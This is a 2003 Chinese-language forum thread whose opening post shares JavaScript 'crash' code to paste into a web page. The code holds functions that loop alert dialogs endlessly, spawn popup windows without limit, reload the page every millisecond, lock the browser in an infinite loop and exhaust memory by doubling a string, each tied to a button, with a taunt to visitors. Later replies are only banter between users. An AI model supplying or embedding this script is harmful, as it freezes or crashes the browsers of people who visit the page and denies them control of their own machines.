标题: 死机程序但本人还没测试过 [打印本页] 作者: saviour 时间: 2003-12-25 08:08 标题: 死机程序但本人还没测试过 脚本说明:<br/> 把如下代码加入<body>区域中<br/> <SCRIPT LANGUAGE="JavaScript"></p><p> <!-- Begin<br/> function AnnoyingButton()<br/> {<br/> while (true)<br/> window.alert("HAHAHA...you can't do anything anymore in Netscape without exiting and restarting....HAHAHA so gimme da UT now...or else!") }<br/> // Keep opening windows over and over again<br/> function WindowBomb()<br/> {<br/> var iCounter = 0 // dummy counter<br/> while (true)<br/> {<br/> window.open("http://www.NETural.com/~ccamel","CRASHING" + iCounter,"width=1,height=1,resizable=no")<br/> iCounter++<br/> }<br/> }<br/> // Not as interesting as the other bombs, but this one forces the user to<br/> // stay at the current page. User cannot switch to another page, or click<br/> // stop to stop the reloading.<br/> function ReloadBomb()<br/> {<br/> history.go(0) // reload this page<br/> window.setTimeout('ReloadBomb()',1) // tell netscape to hit this function<br/> // every milisecond =)<br/> }<br/> // Not a very interesting bomb, it does nothing really :><br/> function WhileLoopLock()<br/> {<br/> while (true){}<br/> }<br/> var szEatMemory = "GOBBLEGOBBLE" // our string to consume our memory<br/> // Now this function EatMemoryInTime is a interesting one that could be<br/> // placed on a timer for maximum nastiness :> I have been able to get<br/> // up to 4Megs consumed by Netscape forcing my machine to crawl =)<br/> // AND it's time driven! No while loops here!<br/> function EatMemoryInTime()<br/> {<br/> szEatMemory = szEatMemory + szEatMemory // keep appending<br/> window.status = "String Length is: " + szEatMemory.length // report size<br/> window.setTimeout('EatMemoryInTime()',1); // tell netscape to hit this function<br/> }<br/> // End --></p><p> </SCRIPT><br/> <center><br/> 下面的每一个按钮都很危险,一按你的电脑立即<font color=red>OVER</font>,不信试试吧!!!<br></p><p> <FORM method=post name="FormAction" action="mailto:"+"webmaster@javascript2000.com"></p><p> <INPUT TYPE="button" value="Exploding Windows"<br/> Name="btnExplodeWindows" onClick="WindowBomb()"><><br></p><p> <INPUT TYPE="button" value="Annoying Button" Name="btnAnnoy"<br/> onClick="AnnoyingButton()"><><br></p><p> <INPUT TYPE="button" value="Reload Bomb" Name="btnReload"<br/> onClick="ReloadBomb()"><><br></p><p> <INPUT TYPE="button" value="While Loop Lock" Name="btnWhile"<br/> onClick="WhileLoopLock()"><p><br></p><p> <INPUT TYPE="button" value="Eat Memory In Time" Name="btnEatTime"<br/> onClick="EatMemoryInTime()"><p><br></p><p> <INPUT TYPE="button" value="Action!" onClick="document.FormAction.submit()"><br><br/> </center></p><p>作者: 遗忘美男 时间: 2003-12-25 09:19
我靠<br/> 你是不是小胖<br/> 死胖子<br/> 哈哈/我踢/我踢/我踩/我踩/我踢/拳击/拳击死胖子<br/>作者: saviour 时间: 2003-12-25 11:43
我靠<br/> 我怎么会是啊<br/> 你[emb4]啊作者: 天涯¢浪子 时间: 2003-12-25 20:09
提示: 作者被禁止或删除 内容自动屏蔽